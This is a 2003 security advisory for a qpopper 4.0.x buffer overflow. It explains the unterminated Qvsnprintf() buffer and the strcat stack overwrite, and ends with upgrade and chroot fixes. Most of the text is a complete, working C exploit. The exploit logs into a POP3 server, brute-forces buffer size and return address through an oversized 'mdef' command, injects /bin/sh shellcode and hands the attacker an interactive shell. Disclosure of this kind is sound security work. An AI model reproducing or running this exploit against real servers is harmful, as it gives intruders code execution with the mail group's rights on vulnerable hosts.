12th Mar 2003 [SBWID-6051]
COMMAND
	Qpopper buffer overflow
SYSTEMS AFFECTED
	qpopper-4.0.x where x < 5.rc2
PROBLEM
	Florian Heinz from Cronon AG [http://www.cronon.org] reported  following
	buffer    overflow    on    last    recente    version    of     QPopper
	[http://www.eudora.com/qpopper_general/].
	Under certain conditions it is possible to execute arbitrary code  using
	a buffer overflow in the recent qpopper.
	You need a valid username/password-combination and  code  is  (depending
	on the setup) usually executed with the user's uid and gid mail.
	 Explanation
	 ===========
	Qualcomm provides their own vsnprintf-implementation Qvsnprintf().  This
	function is used  unconditionally  on  any  system,  regardless  if  the
	system has its own vsnprintf(). The function correctly writes up to  'n'
	bytes into the buffer, but fails to null-terminate it,  if  buffer-space
	runs out while  copying  the  format-string  (so  the  obvious  fix  is,
	null-terminate the  buffer  in  Qvsnprintf()).  This  is  a  problem  in
	pop_msg() (popper/pop_msg.c). The call to  Qvsnprintf()  can  leave  the
	buffer  'message'  unterminated,  so  the  successive  call  to   strcat
	(strcat(message,"\r\n")) writes  somewhere  into  thew  stack.  What  it
	exactly overwrites depends heavily on  the  individual  binary  and  the
	current  stack-data  (where  is  the  next  null-byte).  I  successfully
	managed to execute arbitrary code  using  the  'mdef'-command  with  the
	binary in  the  most  recent  debian-package  'qpopper-4.0.4-8'  Sending
	'mdef <macroname>()' with a macro-name of about 1000 bytes fills  the
	buffer  leaving  it  unterminated.  The  strcat  overwrites  the   least
	significant byte of the saved basepointer on  the  stack,  now  pointing
	inside the buffer. On return  of  pop_mdef()  (file  pop_extend.c),  the
	return-address is now fetched from within  our  buffer  (and  of  course
	pointing inside our buffer), allowing to, for example,  spawn  a  shell.
	The Macroname may not include bytes causing  isspace()  to  return  true
	and, of course, no null-byte, so shellcode must be appropriate  crafted.
	I have tested the qpopper from SuSE 8.1 too, the flaw  exists  too,  but
	SuSE is more lucky, strcat doesn't overwrite  critical  values.  I  have
	not yet tested other distributions.
	 Exploit
	 =======
	Here is a POC-exploit, Values  for  RETADDR  and  BUFSIZE  adjusted  for
	debian qpopper-4.0.4-8:
	
	/*****************************************************************************/
	/*  Exploit for qpopper 4.0.x                                                */
	/*  (successfully tested with debian qpopper-4.0.4-8)                        */
	/*  Provide a valid username/password and get a shell with the user's rights */
	/*  and GID mail.                                                            */
	/*  Author: Florian Heinz <[email protected]>                               */
	/*                                                                           */
	/*****************************************************************************/
	#include <sys/socket.h>
	#include <sys/select.h>
	#include <netinet/in.h>
	#include <arpa/inet.h>
	#include <netdb.h>
	#include <stdio.h>
	#include <string.h>
	#include <stdlib.h>
	#include <unistd.h>
	char shellcode[] =
	        "\x31\xc0"              /* xor %eax, %eax       */
	        "\x31\xdb"              /* xor %ebx, %ebx       */
	        "\xb0\x17"              /* mov $0x17, %al       */
	        "\xcd\x80"              /* int  $0x80           */
	        "\x31\xc0"              /* xor %eax, %eax       */
	        "\x50"                  /* push %eax            */
	        "\x68\x2f\x2f\x73\x68"  /* push $0x68732f2f     */
	        "\x68\x2f\x62\x69\x6e"  /* push $0x6e69622f     */
	        "\x89\xe3"              /* mov  %esp,%ebx       */
	        "\x50"                  /* push %eax            */
	        "\x53"                  /* push %ebx            */
	        "\x89\xe1"              /* mov  %esp,%ecx       */
	        "\x31\xd2"              /* xor  %edx,%edx       */
	        "\xb0\x08"              /* mov  $0x8,%al        */
	        "\x40\x40\x40"          /* inc  %eax  (3 times) */
	        "\xcd\x80";             /* int  $0x80           */
	#define BUFLEN 1006
	#define RETLEN 148
	#define RETADDR 0xbfffc004
	void
	shell_io (fd)
	  int fd;
	{
	   fd_set fs;
	   char buf[1000];
	   int len;
	   while (1) 
	     {
		FD_ZERO(&fs);
		FD_SET(0, &fs);
		FD_SET(fd, &fs);
		select(fd+1, &fs, NULL, NULL, NULL);
		if (FD_ISSET(0, &fs))
		  {
		     if ((len = read(0, buf, 1000)) <= 0)
		       break;
		     write(fd, buf, len);
		  }
		else
		  {
		     if ((len = read(fd, buf, 1000)) <= 0)
		       break;
		     write(1, buf, len);
		  }
	     }
	}
	void
	send_mdef (fd, buflen, retaddr, rashift)
	  int fd, buflen, rashift;
	  unsigned int retaddr;
	{
	   char buf[2000], *bp;
	   int i;
	   memset(buf, 0x90, 2000);
	   memcpy(buf, "mdef ", 5);
	   memcpy(buf + buflen - RETLEN - strlen(shellcode),
		  shellcode, strlen(shellcode));
	   bp = (char *) (((unsigned int)(buf + buflen - RETLEN)) & 0xfffffffc);
	   for (i = 0; i < RETLEN; i += 4)
	     memcpy(bp+i+rashift, &retaddr, sizeof(int));
	   buf[buflen-2] = '(';
	   buf[buflen-1] = ')';
	   buf[buflen] = '\n';
	   write(fd, buf, buflen+1);
	   return;
	}
	int get_pop_reply (int fd, char *buf, int buflen)
	{
	   int len;
	   fd_set s;
	   struct timeval tv;
	   len = read (fd, buf, buflen);
	   FD_ZERO(&s);
	   FD_SET(fd, &s);
	   tv.tv_sec = tv.tv_usec = 0;
	   select(fd+1, &s, NULL, NULL, &tv);
	   if (FD_ISSET(fd, &s))
	     len = read (fd, buf, buflen);
	   if (len == 0)
	     return 0;
	   else if (!strncmp(buf, "-ERR ", 5))
	     return -1;
	   else
	     return len;
	}
	int
	open_pop(ip, user, pass)
	  unsigned int ip;
	  char *user, *pass;
	{
	   struct sockaddr_in peer;
	   int fd, st = 0;
	   char buf[1024];
	   int state = 0;
	   peer.sin_family = AF_INET;
	   peer.sin_port = htons(110);
	   peer.sin_addr.s_addr = ip;
	   fd = socket(AF_INET, SOCK_STREAM, 0);
	   if (fd < 0)
	     {
		perror("socket");
		exit(EXIT_FAILURE);
	     }
	   printf("Connecting to %s... ", inet_ntoa(peer.sin_addr));
	   fflush(stdout);
	   if (connect(fd, (struct sockaddr *)&peer, sizeof(struct sockaddr_in)) < 0) 
	     {
		perror("connect");
		exit(EXIT_FAILURE);
	     }
	   printf("Logging in... ");
	   fflush(stdout);
	   while ((state < 3) && ((st = read(fd, buf, 1024)) > 0))
	     {
		if (!strncmp(buf, "+OK ", 4)) 
		  {
		     switch (state)
		       {
			case 0:
			  snprintf(buf, 1024, "USER %s\n", user);
			  write(fd, buf, strlen(buf));
			  state++;
			  break;
			case 1:
			  snprintf(buf, 1024, "PASS %s\n", pass);
			  write(fd, buf, strlen(buf));
			  state++;
			  break;
			case 2:
			  state++;
			  break;
		       }
		  }
		else if (!strncmp(buf, "-ERR ", 5))
		  {
		     fprintf(stderr, "Could not log in. Did you provide a valid "
			     "username/password-combination?\n");
		     break;
		  }
		else
		  {
		     fprintf(stderr, "Invalid response from POP-Server:\n'%s'\n",
			     buf);
		     break;
		  }
	     }
	   if (state < 3) 
	     {
		fprintf(stderr, "Exiting due to error...\n");
		exit(EXIT_FAILURE);
	     }
	   else if (st < 0)
	     {
		perror("read");
		exit(EXIT_FAILURE);
	     }
	   else if (st == 0)
	     {
		fprintf(stderr, "Peer closed...\n");
		exit(EXIT_FAILURE);
	     }
	   return fd;
	}
	int
	main (argc, argv)
	  int argc;
	  char *argv[];
	{
	   char *host, *user, *pass;
	   struct hostent *he;
	   struct in_addr in;
	   unsigned int ip, retaddr;
	   int fd = -1, lbs, bs, ubs, found = 0, st;
	   char buf[2000];
	   if (4 != argc) 
	     {
		fprintf(stderr, "Usage: %s <host> <user> <pass>\n\n", argv[0]);
		exit(EXIT_FAILURE);
	     }
	   host = argv[1];
	   user = argv[2];
	   pass = argv[3];
	   if (!inet_aton(host, &in))
	     {
		if (!(he = gethostbyname(host))) 
		  {
		     herror("Resolving host");
		     exit(EXIT_FAILURE);
		  }
		in.s_addr = *((unsigned int *)he->h_addr);
	     }
	   ip = in.s_addr;
	   printf("Phase 1: Seeking buffer size\n");
	   lbs = 0;
	   bs = BUFLEN;
	   ubs = 2000;
	   while (!found && (bs != lbs) && (bs != ubs))
	     {
		if (fd < 0)
		  fd = open_pop(ip, user, pass);
		printf("Trying %d bytes... ", bs);
		fflush(stdout);
		send_mdef(fd, bs, 0x01010101, 0);
		sleep(1);
		switch ((st = get_pop_reply(fd, buf, 2000)))
		  {
		   case 0:
		     found++;
		     close(fd);
		     fd = -1;
		     break;
		   case -1:
		     printf("too long.\n");
		     ubs = bs;
		     bs = (lbs+ubs)/2;
		     break;
		   default:
		     if (st < bs) 
		       {
			  printf("(slightly) too long.\n");
			  ubs = bs;
			  bs = (lbs+ubs)/2;
			  break;
		       }
		     else
		       {
			  printf("too short.\n");
			  lbs = bs;
			  bs = (lbs+ubs)/2;
			  break;
		       }
		  }
	     }
	   if (!found) 
	     {
		printf("Couldn't find correct buffersize...\n");
		exit(EXIT_FAILURE);
	     }
	   printf("crash.\n");
	   while (found) 
	     {
		bs--;
		if (fd < 0)
		  fd = open_pop(ip, user, pass);
		printf("Trying %d bytes... ", bs);
		fflush(stdout);
		send_mdef(fd, bs, 0x01010101, 0);
		sleep(1);
		if (get_pop_reply(fd, buf, 2000))
		  {
		     printf("no crash\n");
		     bs += 4;
		     bs = bs & 0xfffffffc;
		     found = 0;
		  }
		else 
		  {
		     fd = -1;
		     printf("crash\n");
		  }
	     }	     
	   printf("Optimal buffer size: %d\n\n", bs);
	   printf("Phase 2: Find return address\n");
	   found = 0;
	   retaddr = RETADDR;
	   while (!found) 
	     {
		if (fd < 0)
		  fd = open_pop(ip, user, pass);
		printf("Trying %x... ", retaddr);
		fflush(stdout);
		send_mdef(fd, bs, retaddr, 2);
		sleep(1);
		if (get_pop_reply(fd, buf, 2000))
		  {
		     printf("no crash\n");
		     found = 1;
		  }
		else
		  {
		     fd = -1;
		     retaddr += ((bs - RETLEN - 10 - strlen(shellcode)) & 0xffffff00);
		     printf("crash\n");
		  }
		if (retaddr > 0xbfffff00)
		  break;
	     }
	   if (!found) 
	     {
		printf("Couldn't find a valid return address\n");
		exit(EXIT_FAILURE);
	     }
	   write(fd, "uname -a\n", 9);
	   st = read(fd, buf, 100);
	   buf[st] = '\0';
	   if ((buf[0] != '-') && (buf[0] != '+'))
	     {
		printf("We're in! (%s)\n", buf);
		shell_io(fd);
	     }
	   else
	     printf("We failed...\n");
	   exit(EXIT_FAILURE);
	}
	
SOLUTION
	use qpopper-4.0.5rc2
	Jonathan A. Zdziarski suggested:
	Chrooting qpopper is also a good workaround, as well as good practice.
	Instructions can be found at http://www.networkdweebs.com/chroot.html